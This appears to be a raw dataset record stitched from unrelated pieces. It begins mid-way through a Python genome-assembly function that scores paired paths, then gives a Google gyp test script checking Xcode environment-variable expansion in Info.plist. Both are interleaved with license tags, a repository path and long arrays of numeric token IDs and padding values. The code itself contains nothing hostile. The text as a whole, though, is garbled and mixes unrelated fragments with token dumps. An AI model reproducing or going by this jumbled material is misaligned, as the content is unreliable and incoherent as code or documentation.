second_shift) second_shift = 0 elif ed1.len - first_shift < ed2.len - second_shift: pos_first_path += 1 first_len += ed1.len - first_shift second_shift += ed1.len - first_shift if rect_diag.prd_support < 0.000000001: not_supported.append(ed1.len - first_shift) first_shift = 0 else: first_len += ed1.len - first_shift pos_second_path += 1 pos_first_path += 1 first_shift = 0 second_shift = 0 if not make_less_N50 and path_len > 1 and path_support / path_len < 1000 and path_support / path_len > best_support: best_support = path_support best_len = path_len best_rectangles = rectangles best_diags = diags best_path = (path1, path2, path_len) best_not_supported = not_supported return (best_support,best_len, best_rectangles, best_diags, best_path) def find_pair_paths(paths1, paths2, diag1, diag2): paired_paths = [] for (path1, len1) in paths1: for (path2, len2) in paths2: if path1[0] != diag1.rectangle.e1 or path2[0] != diag1.rectangle.e2: continue if len1 - diag1.offseta + diag2.offseta == len2 - diag1.offsetb + diag2.offsetb: paired_paths.append((path1, path2, len1)) return paired_paths
gpl-2.0
[ 504, 9006, 63, 2180, 492, 11836, 63, 4578, 12, 11836, 63, 12886, 12, 11836, 63, 9787, 199, 646, 9006, 63, 2180, 199, 646, 747, 199, 646, 3354, 2087, 199, 646, 22820, 199, 646, 3343, 199, 646, 2050, 199, 646, 15073, 199, 646, 7975, 199, 504, 511, 63, 1974, 492, 1379, 7535, 199, 504, 20412, 492, 21536, 4593, 257, 199, 504, 3778, 492, 27246, 199, 646, 3778, 199, 199, 1093, 6102, 63, 19307, 275, 1616, 199, 199, 533, 699, 9787, 8, 8458, 63, 9787, 304, 523, 27767, 275, 378, 819, 347, 636, 826, 721, 277, 12, 790, 304, 272, 11836, 63, 9787, 855, 826, 721, 277, 12, 699, 9787, 14, 5017, 9, 272, 291, 14, 498, 275, 790, 272, 699, 9787, 14, 5017, 847, 413, 199, 199, 533, 6262, 68, 303, 8, 8458, 63, 12886, 304, 523, 325, 344, 275, 378, 819, 347, 636, 826, 721, 277, 12, 373, 17, 12, 373, 18, 12, 8348, 304, 272, 11836, 63, 12886, 855, 826, 721, 277, 12, 373, 17, 12, 373, 18, 12, 6262, 68, 303, 14, 30065, 9, 272, 291, 14, 6706, 265, 2551, 275, 359, 6706, 61, 272, 6262, 68, 303, 14, 30065, 847, 413, 819, 347, 2582, 8, 277, 304, 272, 2582, 275, 378, 272, 367, 8348, 315, 291, 14, 6706, 265, 2551, 26, 489, 2582, 847, 8348, 14, 2743, 67, 446, 8348, 14, 2743, 65, 272, 372, 2582, 12244, 347, 664, 63, 5037, 63, 3610, 8, 277, 12, 1804, 12, 366, 12, 365, 63, 551, 304, 272, 334, 3610, 17, 12, 5412, 18, 9, 275, 291, 14, 362, 63, 29796, 63, 3610, 8, 43, 12, 366, 9, 272, 5412, 275, 6522, 904, 8, 1130, 8, 2734, 671, 12, 612, 26, 671, 340, 671, 1137, 283, 46, 7, 587, 334, 89, 340, 612, 1137, 283, 46, 7, 587, 283, 46, 659, 5412, 17, 12, 5412, 18, 4992, 1913, 360, 46, 358, 272, 5412, 275, 5412, 14, 1294, 8, 277, 14, 362, 63, 8523, 274, 63, 3610, 18756, 16, 61, 272, 372, 5412, 272, 523, 347, 664, 63, 500, 63, 3610, 8, 277, 12, 1804, 12, 366, 12, 365, 63, 551, 304, 272, 334, 3610, 17, 12, 5412, 18, 9, 275, 291, 14, 362, 63, 29796, 63, 3610, 8, 43, 12, 366, 9, 272, 5412, 275, 6522, 904, 8, 1130, 8, 2734, 671, 12, 612, 26, 671, 340, 671, 1137, 283, 46, 7, 587, 334, 89, 340, 612, 1137, 283, 46, 7, 587, 283, 46, 659, 5412, 17, 12, 5412, 18, 4992, 1913, 360, 46, 358, 272, 5412, 275, 5412, 14, 1294, 8, 277, 14, 362, 63, 8523, 274, 63, 3610, 18756, 17, 61, 272, 372, 5412, 272, 523, 347, 664, 63, 8523, 274, 63, 3610, 8, 277, 304, 272, 5412, 275, 3087, 272, 367, 8348, 315, 291, 14, 6706, 265, 2551, 26, 489, 5412, 847, 8348, 14, 19954, 14, 69, 17, 14, 3610, 59, 6706, 14, 2743, 65, 26, 6706, 14, 2743, 67, 61, 272, 372, 5412, 819, 347, 664, 63, 3610, 63, 509, 63, 27952, 8, 277, 12, 1804, 12, 366, 12, 365, 63, 551, 304, 272, 340, 365, 63, 551, 26, 489, 445, 934, 63, 19307, 275, 499, 14, 16, 327, 11768, 26, 1077, 5452, 687, 15379, 6386, 257, 489, 445, 934, 63, 9127, 63, 19307, 275, 959, 14, 16, 489, 15861, 63, 9127, 275, 841, 627, 366, 272, 587, 26, 489, 445, 934, 63, 9127, 63, 19307, 275, 959, 489, 445, 934, 63, 19307, 275, 378, 14, 16, 489, 15861, 63, 9127, 275, 378, 272, 334, 3610, 17, 12, 5412, 18, 9, 275, 291, 14, 362, 63, 29796, 63, 3610, 8, 43, 12, 366, 9, 272, 5412, 275, 6522, 904, 8, 1130, 8, 2734, 671, 12, 612, 26, 671, 340, 671, 1137, 283, 46, 7, 587, 334, 89, 340, 612, 1137, 283, 46, 7, 587, 283, 46, 659, 5412, 17, 12, 5412, 18, 4992, 1913, 360, 46, 358, 272, 1642, 275, 291, 14, 6706, 265, 2551, 59, 16, 61, 272, 2061, 275, 291, 14, 6706, 265, 2551, 1988, 17, 61, 272, 340, 822, 8, 3610, 17, 9, 690, 15861, 63, 9127, 26, 489, 1094, 63, 552, 275, 378, 489, 8348, 63, 1080, 275, 378, 489, 8348, 275, 291, 14, 6706, 265, 2551, 59, 6706, 63, 1080, 61, 489, 883, 63, 525, 63, 5037, 275, 715, 489, 1830, 1094, 63, 552, 665, 366, 26, 267, 340, 8348, 14, 2743, 67, 446, 8348, 14, 2743, 65, 665, 445, 934, 63, 9127, 63, 19307, 503, 334, 6706, 14, 4058, 342, 665, 445, 934, 63, 19307, 304, 881, 883, 63, 525, 63, 5037, 275, 756, 881, 2059, 267, 8348, 63, 1080, 847, 413, 267, 340, 8348, 63, 1080, 508, 822, 8, 277, 14, 6706, 265, 2551, 304, 881, 1094, 63, 552, 275, 366, 881, 1980, 267, 8348, 275, 291, 14, 6706, 265, 2551, 59, 6706, 63, 1080, 61, 267, 1094, 63, 552, 847, 8348, 14, 2743, 67, 446, 8348, 14, 2743, 65, 32115, 1094, 63, 552, 275, 378, 489, 8348, 63, 1080, 275, 822, 8, 277, 14, 6706, 265, 2551, 9, 446, 17, 489, 8348, 275, 291, 14, 6706, 265, 2551, 59, 6706, 63, 1080, 61, 489, 883, 63, 525, 63, 500, 275, 715, 489, 1830, 1094, 63, 552, 665, 366, 26, 267, 340, 8348, 14, 2743, 67, 446, 8348, 14, 2743, 65, 665, 445, 934, 63, 9127, 63, 19307, 503, 334, 6706, 14, 4058, 342, 665, 445, 934, 63, 19307, 304, 881, 883, 63, 525, 63, 500, 275, 756, 881, 2059, 267, 8348, 63, 1080, 4862, 413, 267, 340, 8348, 63, 1080, 508, 446, 17, 26, 881, 1094, 63, 552, 275, 366, 881, 1980, 267, 8348, 275, 291, 14, 6706, 265, 2551, 59, 6706, 63, 1080, 61, 267, 1094, 63, 552, 847, 8348, 14, 2743, 67, 446, 8348, 14, 2743, 65, 489, 340, 883, 63, 525, 63, 500, 436, 883, 63, 525, 63, 5037, 26, 267, 372, 1642, 14, 19954, 14, 69, 17, 14, 3610, 1491, 2246, 14, 2743, 65, 61, 435, 5412, 435, 2061, 14, 19954, 14, 69, 18, 14, 3610, 59, 2019, 14, 2743, 68, 435, 1804, 2938, 15166, 340, 883, 63, 525, 63, 500, 26, 267, 372, 5412, 435, 2061, 14, 19954, 14, 69, 18, 14, 3610, 59, 2019, 14, 2743 ]
[ 9006, 63, 2180, 492, 11836, 63, 4578, 12, 11836, 63, 12886, 12, 11836, 63, 9787, 199, 646, 9006, 63, 2180, 199, 646, 747, 199, 646, 3354, 2087, 199, 646, 22820, 199, 646, 3343, 199, 646, 2050, 199, 646, 15073, 199, 646, 7975, 199, 504, 511, 63, 1974, 492, 1379, 7535, 199, 504, 20412, 492, 21536, 4593, 257, 199, 504, 3778, 492, 27246, 199, 646, 3778, 199, 199, 1093, 6102, 63, 19307, 275, 1616, 199, 199, 533, 699, 9787, 8, 8458, 63, 9787, 304, 523, 27767, 275, 378, 819, 347, 636, 826, 721, 277, 12, 790, 304, 272, 11836, 63, 9787, 855, 826, 721, 277, 12, 699, 9787, 14, 5017, 9, 272, 291, 14, 498, 275, 790, 272, 699, 9787, 14, 5017, 847, 413, 199, 199, 533, 6262, 68, 303, 8, 8458, 63, 12886, 304, 523, 325, 344, 275, 378, 819, 347, 636, 826, 721, 277, 12, 373, 17, 12, 373, 18, 12, 8348, 304, 272, 11836, 63, 12886, 855, 826, 721, 277, 12, 373, 17, 12, 373, 18, 12, 6262, 68, 303, 14, 30065, 9, 272, 291, 14, 6706, 265, 2551, 275, 359, 6706, 61, 272, 6262, 68, 303, 14, 30065, 847, 413, 819, 347, 2582, 8, 277, 304, 272, 2582, 275, 378, 272, 367, 8348, 315, 291, 14, 6706, 265, 2551, 26, 489, 2582, 847, 8348, 14, 2743, 67, 446, 8348, 14, 2743, 65, 272, 372, 2582, 12244, 347, 664, 63, 5037, 63, 3610, 8, 277, 12, 1804, 12, 366, 12, 365, 63, 551, 304, 272, 334, 3610, 17, 12, 5412, 18, 9, 275, 291, 14, 362, 63, 29796, 63, 3610, 8, 43, 12, 366, 9, 272, 5412, 275, 6522, 904, 8, 1130, 8, 2734, 671, 12, 612, 26, 671, 340, 671, 1137, 283, 46, 7, 587, 334, 89, 340, 612, 1137, 283, 46, 7, 587, 283, 46, 659, 5412, 17, 12, 5412, 18, 4992, 1913, 360, 46, 358, 272, 5412, 275, 5412, 14, 1294, 8, 277, 14, 362, 63, 8523, 274, 63, 3610, 18756, 16, 61, 272, 372, 5412, 272, 523, 347, 664, 63, 500, 63, 3610, 8, 277, 12, 1804, 12, 366, 12, 365, 63, 551, 304, 272, 334, 3610, 17, 12, 5412, 18, 9, 275, 291, 14, 362, 63, 29796, 63, 3610, 8, 43, 12, 366, 9, 272, 5412, 275, 6522, 904, 8, 1130, 8, 2734, 671, 12, 612, 26, 671, 340, 671, 1137, 283, 46, 7, 587, 334, 89, 340, 612, 1137, 283, 46, 7, 587, 283, 46, 659, 5412, 17, 12, 5412, 18, 4992, 1913, 360, 46, 358, 272, 5412, 275, 5412, 14, 1294, 8, 277, 14, 362, 63, 8523, 274, 63, 3610, 18756, 17, 61, 272, 372, 5412, 272, 523, 347, 664, 63, 8523, 274, 63, 3610, 8, 277, 304, 272, 5412, 275, 3087, 272, 367, 8348, 315, 291, 14, 6706, 265, 2551, 26, 489, 5412, 847, 8348, 14, 19954, 14, 69, 17, 14, 3610, 59, 6706, 14, 2743, 65, 26, 6706, 14, 2743, 67, 61, 272, 372, 5412, 819, 347, 664, 63, 3610, 63, 509, 63, 27952, 8, 277, 12, 1804, 12, 366, 12, 365, 63, 551, 304, 272, 340, 365, 63, 551, 26, 489, 445, 934, 63, 19307, 275, 499, 14, 16, 327, 11768, 26, 1077, 5452, 687, 15379, 6386, 257, 489, 445, 934, 63, 9127, 63, 19307, 275, 959, 14, 16, 489, 15861, 63, 9127, 275, 841, 627, 366, 272, 587, 26, 489, 445, 934, 63, 9127, 63, 19307, 275, 959, 489, 445, 934, 63, 19307, 275, 378, 14, 16, 489, 15861, 63, 9127, 275, 378, 272, 334, 3610, 17, 12, 5412, 18, 9, 275, 291, 14, 362, 63, 29796, 63, 3610, 8, 43, 12, 366, 9, 272, 5412, 275, 6522, 904, 8, 1130, 8, 2734, 671, 12, 612, 26, 671, 340, 671, 1137, 283, 46, 7, 587, 334, 89, 340, 612, 1137, 283, 46, 7, 587, 283, 46, 659, 5412, 17, 12, 5412, 18, 4992, 1913, 360, 46, 358, 272, 1642, 275, 291, 14, 6706, 265, 2551, 59, 16, 61, 272, 2061, 275, 291, 14, 6706, 265, 2551, 1988, 17, 61, 272, 340, 822, 8, 3610, 17, 9, 690, 15861, 63, 9127, 26, 489, 1094, 63, 552, 275, 378, 489, 8348, 63, 1080, 275, 378, 489, 8348, 275, 291, 14, 6706, 265, 2551, 59, 6706, 63, 1080, 61, 489, 883, 63, 525, 63, 5037, 275, 715, 489, 1830, 1094, 63, 552, 665, 366, 26, 267, 340, 8348, 14, 2743, 67, 446, 8348, 14, 2743, 65, 665, 445, 934, 63, 9127, 63, 19307, 503, 334, 6706, 14, 4058, 342, 665, 445, 934, 63, 19307, 304, 881, 883, 63, 525, 63, 5037, 275, 756, 881, 2059, 267, 8348, 63, 1080, 847, 413, 267, 340, 8348, 63, 1080, 508, 822, 8, 277, 14, 6706, 265, 2551, 304, 881, 1094, 63, 552, 275, 366, 881, 1980, 267, 8348, 275, 291, 14, 6706, 265, 2551, 59, 6706, 63, 1080, 61, 267, 1094, 63, 552, 847, 8348, 14, 2743, 67, 446, 8348, 14, 2743, 65, 32115, 1094, 63, 552, 275, 378, 489, 8348, 63, 1080, 275, 822, 8, 277, 14, 6706, 265, 2551, 9, 446, 17, 489, 8348, 275, 291, 14, 6706, 265, 2551, 59, 6706, 63, 1080, 61, 489, 883, 63, 525, 63, 500, 275, 715, 489, 1830, 1094, 63, 552, 665, 366, 26, 267, 340, 8348, 14, 2743, 67, 446, 8348, 14, 2743, 65, 665, 445, 934, 63, 9127, 63, 19307, 503, 334, 6706, 14, 4058, 342, 665, 445, 934, 63, 19307, 304, 881, 883, 63, 525, 63, 500, 275, 756, 881, 2059, 267, 8348, 63, 1080, 4862, 413, 267, 340, 8348, 63, 1080, 508, 446, 17, 26, 881, 1094, 63, 552, 275, 366, 881, 1980, 267, 8348, 275, 291, 14, 6706, 265, 2551, 59, 6706, 63, 1080, 61, 267, 1094, 63, 552, 847, 8348, 14, 2743, 67, 446, 8348, 14, 2743, 65, 489, 340, 883, 63, 525, 63, 500, 436, 883, 63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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
Kri-7-q/glimpse_client-1
3rdparty/breakpad/src/tools/gyp/test/mac/gyptest-xcode-env-order.py
24
2704
#!/usr/bin/env python # Copyright (c) 2012 Google Inc. All rights reserved. # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. """ Verifies that dependent Xcode settings are processed correctly. """ import TestGyp import sys if sys.platform == 'darwin': test = TestGyp.TestGyp(formats=['ninja', 'make', 'xcode']) CHDIR = 'xcode-env-order' INFO_PLIST_PATH = 'Test.app/Contents/Info.plist' test.run_gyp('test.gyp', chdir=CHDIR) test.build('test.gyp', test.ALL, chdir=CHDIR) # Env vars in 'copies' filenames. test.built_file_must_exist('Test-copy-brace/main.c', chdir=CHDIR) test.built_file_must_exist('Test-copy-paren/main.c', chdir=CHDIR) test.built_file_must_exist('Test-copy-bare/main.c', chdir=CHDIR) # Env vars in 'actions' filenames and inline actions test.built_file_must_exist('action-copy-brace.txt', chdir=CHDIR) test.built_file_must_exist('action-copy-paren.txt', chdir=CHDIR) test.built_file_must_exist('action-copy-bare.txt', chdir=CHDIR) # Env vars in Info.plist. info_plist = test.built_file_path(INFO_PLIST_PATH, chdir=CHDIR) test.must_exist(info_plist) test.must_contain(info_plist, '''\ \t<key>BraceProcessedKey1</key> \t<string>D:/Source/Project/Test</string>''') test.must_contain(info_plist, '''\ \t<key>BraceProcessedKey2</key> \t<string>/Source/Project/Test</string>''') test.must_contain(info_plist, '''\ \t<key>BraceProcessedKey3</key> \t<string>com.apple.product-type.application:D:/Source/Project/Test</string>''') test.must_contain(info_plist, '''\ \t<key>ParenProcessedKey1</key> \t<string>D:/Source/Project/Test</string>''') test.must_contain(info_plist, '''\ \t<key>ParenProcessedKey2</key> \t<string>/Source/Project/Test</string>''') test.must_contain(info_plist, '''\ \t<key>ParenProcessedKey3</key> \t<string>com.apple.product-type.application:D:/Source/Project/Test</string>''') test.must_contain(info_plist, '''\ \t<key>BareProcessedKey1</key> \t<string>D:/Source/Project/Test</string>''') test.must_contain(info_plist, '''\ \t<key>BareProcessedKey2</key> \t<string>/Source/Project/Test</string>''') # NOTE: For bare variables, $PRODUCT_TYPE is not replaced! It _is_ replaced # if it's not right at the start of the string (e.g. ':$PRODUCT_TYPE'), so # this looks like an Xcode bug. This bug isn't emulated (yet?), so check this # only for Xcode. if test.format == 'xcode': test.must_contain(info_plist, '''\ \t<key>BareProcessedKey3</key> \t<string>$PRODUCT_TYPE:D:/Source/Project/Test</string>''') test.must_contain(info_plist, '''\ \t<key>MixedProcessedKey</key> \t<string>/Source/Project:Test:mh_execute</string>''') test.pass_test()
bsd-3-clause
[ 3381, 2647, 15, 1393, 15, 1813, 2366, 199, 199, 3, 1898, 334, 67, 9, 6029, 4475, 3277, 14, 2900, 4481, 4644, 14, 199, 3, 3645, 402, 642, 1350, 1233, 365, 10413, 701, 282, 6289, 13, 2487, 4190, 626, 883, 506, 199, 3, 1911, 315, 314, 5113, 570, 14, 199, 199, 624, 199, 21168, 626, 11410, 10602, 2202, 787, 7686, 6657, 14, 199, 624, 199, 199, 646, 25688, 199, 199, 646, 984, 199, 199, 692, 984, 14, 3246, 508, 283, 13245, 356, 523, 511, 275, 25688, 14, 774, 13899, 8, 6321, 2968, 8675, 297, 283, 1875, 297, 283, 8701, 1105, 819, 6624, 3022, 275, 283, 8701, 13, 1813, 13, 1648, 7, 523, 24008, 63, 48, 4924, 63, 3243, 275, 283, 774, 14, 571, 15, 11383, 15, 2354, 14, 10265, 7, 819, 511, 14, 1065, 63, 6179, 360, 396, 14, 6179, 297, 13097, 29, 30285, 9, 523, 511, 14, 1506, 360, 396, 14, 6179, 297, 511, 14, 1761, 12, 13097, 29, 30285, 9, 819, 327, 31543, 6802, 315, 283, 16847, 7, 6203, 14, 523, 511, 14, 11730, 63, 493, 63, 7790, 63, 4494, 360, 774, 13, 1574, 13, 22359, 15, 973, 14, 67, 297, 13097, 29, 30285, 9, 523, 511, 14, 11730, 63, 493, 63, 7790, 63, 4494, 360, 774, 13, 1574, 13, 9575, 15, 973, 14, 67, 297, 13097, 29, 30285, 9, 523, 511, 14, 11730, 63, 493, 63, 7790, 63, 4494, 360, 774, 13, 1574, 13, 14890, 15, 973, 14, 67, 297, 13097, 29, 30285, 9, 819, 327, 31543, 6802, 315, 283, 3723, 7, 6203, 436, 8308, 5445, 523, 511, 14, 11730, 63, 493, 63, 7790, 63, 4494, 360, 1287, 13, 1574, 13, 22359, 14, 2424, 297, 13097, 29, 30285, 9, 523, 511, 14, 11730, 63, 493, 63, 7790, 63, 4494, 360, 1287, 13, 1574, 13, 9575, 14, 2424, 297, 13097, 29, 30285, 9, 523, 511, 14, 11730, 63, 493, 63, 7790, 63, 4494, 360, 1287, 13, 1574, 13, 14890, 14, 2424, 297, 13097, 29, 30285, 9, 819, 327, 31543, 6802, 315, 10332, 14, 10265, 14, 523, 2256, 63, 10265, 275, 511, 14, 11730, 63, 493, 63, 515, 8, 4531, 63, 48, 4924, 63, 3243, 12, 13097, 29, 30285, 9, 523, 511, 14, 7790, 63, 4494, 8, 815, 63, 10265, 9, 819, 511, 14, 7790, 63, 7747, 8, 815, 63, 10265, 12, 18087, 199, 60, 84, 28, 498, 30, 34, 5986, 919, 4234, 1197, 17, 1108, 498, 30, 199, 60, 84, 28, 875, 30, 36, 11254, 2980, 15, 4761, 15, 774, 1108, 875, 30, 12310, 523, 511, 14, 7790, 63, 7747, 8, 815, 63, 10265, 12, 18087, 199, 60, 84, 28, 498, 30, 34, 5986, 919, 4234, 1197, 18, 1108, 498, 30, 199, 60, 84, 28, 875, 12202, 2980, 15, 4761, 15, 774, 1108, 875, 30, 12310, 523, 511, 14, 7790, 63, 7747, 8, 815, 63, 10265, 12, 18087, 199, 60, 84, 28, 498, 30, 34, 5986, 919, 4234, 1197, 19, 1108, 498, 30, 199, 60, 84, 28, 875, 30, 957, 14, 12820, 14, 2558, 13, 466, 14, 3578, 26, 36, 11254, 2980, 15, 4761, 15, 774, 1108, 875, 30, 12310, 819, 511, 14, 7790, 63, 7747, 8, 815, 63, 10265, 12, 18087, 199, 60, 84, 28, 498, 30, 4232, 828, 919, 4234, 1197, 17, 1108, 498, 30, 199, 60, 84, 28, 875, 30, 36, 11254, 2980, 15, 4761, 15, 774, 1108, 875, 30, 12310, 523, 511, 14, 7790, 63, 7747, 8, 815, 63, 10265, 12, 18087, 199, 60, 84, 28, 498, 30, 4232, 828, 919, 4234, 1197, 18, 1108, 498, 30, 199, 60, 84, 28, 875, 12202, 2980, 15, 4761, 15, 774, 1108, 875, 30, 12310, 523, 511, 14, 7790, 63, 7747, 8, 815, 63, 10265, 12, 18087, 199, 60, 84, 28, 498, 30, 4232, 828, 919, 4234, 1197, 19, 1108, 498, 30, 199, 60, 84, 28, 875, 30, 957, 14, 12820, 14, 2558, 13, 466, 14, 3578, 26, 36, 11254, 2980, 15, 4761, 15, 774, 1108, 875, 30, 12310, 819, 511, 14, 7790, 63, 7747, 8, 815, 63, 10265, 12, 18087, 199, 60, 84, 28, 498, 30, 34, 1530, 919, 4234, 1197, 17, 1108, 498, 30, 199, 60, 84, 28, 875, 30, 36, 11254, 2980, 15, 4761, 15, 774, 1108, 875, 30, 12310, 523, 511, 14, 7790, 63, 7747, 8, 815, 63, 10265, 12, 18087, 199, 60, 84, 28, 498, 30, 34, 1530, 919, 4234, 1197, 18, 1108, 498, 30, 199, 60, 84, 28, 875, 12202, 2980, 15, 4761, 15, 774, 1108, 875, 30, 12310, 523, 327, 6944, 26, 2104, 18753, 2860, 12, 2672, 14853, 63, 2711, 365, 440, 8717, 1, 2779, 485, 374, 63, 8717, 523, 327, 340, 652, 1159, 440, 2451, 737, 314, 1343, 402, 314, 1059, 334, 69, 14, 71, 14, 7596, 4, 14853, 63, 2711, 659, 880, 523, 327, 642, 10734, 2839, 376, 10602, 6519, 14, 961, 6519, 5712, 1133, 17423, 972, 334, 28064, 31, 395, 880, 1104, 642, 523, 327, 1454, 367, 10602, 14, 523, 340, 511, 14, 908, 508, 283, 8701, 356, 272, 511, 14, 7790, 63, 7747, 8, 815, 63, 10265, 12, 18087, 199, 60, 84, 28, 498, 30, 34, 1530, 919, 4234, 1197, 19, 1108, 498, 30, 199, 60, 84, 28, 875, 30, 4, 14853, 63, 2711, 26, 36, 11254, 2980, 15, 4761, 15, 774, 1108, 875, 30, 12310, 819, 511, 14, 7790, 63, 7747, 8, 815, 63, 10265, 12, 18087, 199, 60, 84, 28, 498, 30, 17899, 919, 4234, 1197, 1108, 498, 30, 199, 60, 84, 28, 875, 12202, 2980, 15, 4761, 26, 774, 26, 17077, 63, 2526, 1108, 875, 30, 12310, 819, 511, 14, 1529, 63, 396, 342, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 2647, 15, 1393, 15, 1813, 2366, 199, 199, 3, 1898, 334, 67, 9, 6029, 4475, 3277, 14, 2900, 4481, 4644, 14, 199, 3, 3645, 402, 642, 1350, 1233, 365, 10413, 701, 282, 6289, 13, 2487, 4190, 626, 883, 506, 199, 3, 1911, 315, 314, 5113, 570, 14, 199, 199, 624, 199, 21168, 626, 11410, 10602, 2202, 787, 7686, 6657, 14, 199, 624, 199, 199, 646, 25688, 199, 199, 646, 984, 199, 199, 692, 984, 14, 3246, 508, 283, 13245, 356, 523, 511, 275, 25688, 14, 774, 13899, 8, 6321, 2968, 8675, 297, 283, 1875, 297, 283, 8701, 1105, 819, 6624, 3022, 275, 283, 8701, 13, 1813, 13, 1648, 7, 523, 24008, 63, 48, 4924, 63, 3243, 275, 283, 774, 14, 571, 15, 11383, 15, 2354, 14, 10265, 7, 819, 511, 14, 1065, 63, 6179, 360, 396, 14, 6179, 297, 13097, 29, 30285, 9, 523, 511, 14, 1506, 360, 396, 14, 6179, 297, 511, 14, 1761, 12, 13097, 29, 30285, 9, 819, 327, 31543, 6802, 315, 283, 16847, 7, 6203, 14, 523, 511, 14, 11730, 63, 493, 63, 7790, 63, 4494, 360, 774, 13, 1574, 13, 22359, 15, 973, 14, 67, 297, 13097, 29, 30285, 9, 523, 511, 14, 11730, 63, 493, 63, 7790, 63, 4494, 360, 774, 13, 1574, 13, 9575, 15, 973, 14, 67, 297, 13097, 29, 30285, 9, 523, 511, 14, 11730, 63, 493, 63, 7790, 63, 4494, 360, 774, 13, 1574, 13, 14890, 15, 973, 14, 67, 297, 13097, 29, 30285, 9, 819, 327, 31543, 6802, 315, 283, 3723, 7, 6203, 436, 8308, 5445, 523, 511, 14, 11730, 63, 493, 63, 7790, 63, 4494, 360, 1287, 13, 1574, 13, 22359, 14, 2424, 297, 13097, 29, 30285, 9, 523, 511, 14, 11730, 63, 493, 63, 7790, 63, 4494, 360, 1287, 13, 1574, 13, 9575, 14, 2424, 297, 13097, 29, 30285, 9, 523, 511, 14, 11730, 63, 493, 63, 7790, 63, 4494, 360, 1287, 13, 1574, 13, 14890, 14, 2424, 297, 13097, 29, 30285, 9, 819, 327, 31543, 6802, 315, 10332, 14, 10265, 14, 523, 2256, 63, 10265, 275, 511, 14, 11730, 63, 493, 63, 515, 8, 4531, 63, 48, 4924, 63, 3243, 12, 13097, 29, 30285, 9, 523, 511, 14, 7790, 63, 4494, 8, 815, 63, 10265, 9, 819, 511, 14, 7790, 63, 7747, 8, 815, 63, 10265, 12, 18087, 199, 60, 84, 28, 498, 30, 34, 5986, 919, 4234, 1197, 17, 1108, 498, 30, 199, 60, 84, 28, 875, 30, 36, 11254, 2980, 15, 4761, 15, 774, 1108, 875, 30, 12310, 523, 511, 14, 7790, 63, 7747, 8, 815, 63, 10265, 12, 18087, 199, 60, 84, 28, 498, 30, 34, 5986, 919, 4234, 1197, 18, 1108, 498, 30, 199, 60, 84, 28, 875, 12202, 2980, 15, 4761, 15, 774, 1108, 875, 30, 12310, 523, 511, 14, 7790, 63, 7747, 8, 815, 63, 10265, 12, 18087, 199, 60, 84, 28, 498, 30, 34, 5986, 919, 4234, 1197, 19, 1108, 498, 30, 199, 60, 84, 28, 875, 30, 957, 14, 12820, 14, 2558, 13, 466, 14, 3578, 26, 36, 11254, 2980, 15, 4761, 15, 774, 1108, 875, 30, 12310, 819, 511, 14, 7790, 63, 7747, 8, 815, 63, 10265, 12, 18087, 199, 60, 84, 28, 498, 30, 4232, 828, 919, 4234, 1197, 17, 1108, 498, 30, 199, 60, 84, 28, 875, 30, 36, 11254, 2980, 15, 4761, 15, 774, 1108, 875, 30, 12310, 523, 511, 14, 7790, 63, 7747, 8, 815, 63, 10265, 12, 18087, 199, 60, 84, 28, 498, 30, 4232, 828, 919, 4234, 1197, 18, 1108, 498, 30, 199, 60, 84, 28, 875, 12202, 2980, 15, 4761, 15, 774, 1108, 875, 30, 12310, 523, 511, 14, 7790, 63, 7747, 8, 815, 63, 10265, 12, 18087, 199, 60, 84, 28, 498, 30, 4232, 828, 919, 4234, 1197, 19, 1108, 498, 30, 199, 60, 84, 28, 875, 30, 957, 14, 12820, 14, 2558, 13, 466, 14, 3578, 26, 36, 11254, 2980, 15, 4761, 15, 774, 1108, 875, 30, 12310, 819, 511, 14, 7790, 63, 7747, 8, 815, 63, 10265, 12, 18087, 199, 60, 84, 28, 498, 30, 34, 1530, 919, 4234, 1197, 17, 1108, 498, 30, 199, 60, 84, 28, 875, 30, 36, 11254, 2980, 15, 4761, 15, 774, 1108, 875, 30, 12310, 523, 511, 14, 7790, 63, 7747, 8, 815, 63, 10265, 12, 18087, 199, 60, 84, 28, 498, 30, 34, 1530, 919, 4234, 1197, 18, 1108, 498, 30, 199, 60, 84, 28, 875, 12202, 2980, 15, 4761, 15, 774, 1108, 875, 30, 12310, 523, 327, 6944, 26, 2104, 18753, 2860, 12, 2672, 14853, 63, 2711, 365, 440, 8717, 1, 2779, 485, 374, 63, 8717, 523, 327, 340, 652, 1159, 440, 2451, 737, 314, 1343, 402, 314, 1059, 334, 69, 14, 71, 14, 7596, 4, 14853, 63, 2711, 659, 880, 523, 327, 642, 10734, 2839, 376, 10602, 6519, 14, 961, 6519, 5712, 1133, 17423, 972, 334, 28064, 31, 395, 880, 1104, 642, 523, 327, 1454, 367, 10602, 14, 523, 340, 511, 14, 908, 508, 283, 8701, 356, 272, 511, 14, 7790, 63, 7747, 8, 815, 63, 10265, 12, 18087, 199, 60, 84, 28, 498, 30, 34, 1530, 919, 4234, 1197, 19, 1108, 498, 30, 199, 60, 84, 28, 875, 30, 4, 14853, 63, 2711, 26, 36, 11254, 2980, 15, 4761, 15, 774, 1108, 875, 30, 12310, 819, 511, 14, 7790, 63, 7747, 8, 815, 63, 10265, 12, 18087, 199, 60, 84, 28, 498, 30, 17899, 919, 4234, 1197, 1108, 498, 30, 199, 60, 84, 28, 875, 12202, 2980, 15, 4761, 26, 774, 26, 17077, 63, 